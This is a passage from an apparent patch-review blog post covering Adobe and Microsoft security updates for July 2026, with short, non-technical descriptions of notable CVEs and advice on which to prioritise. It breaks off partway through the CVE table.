    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
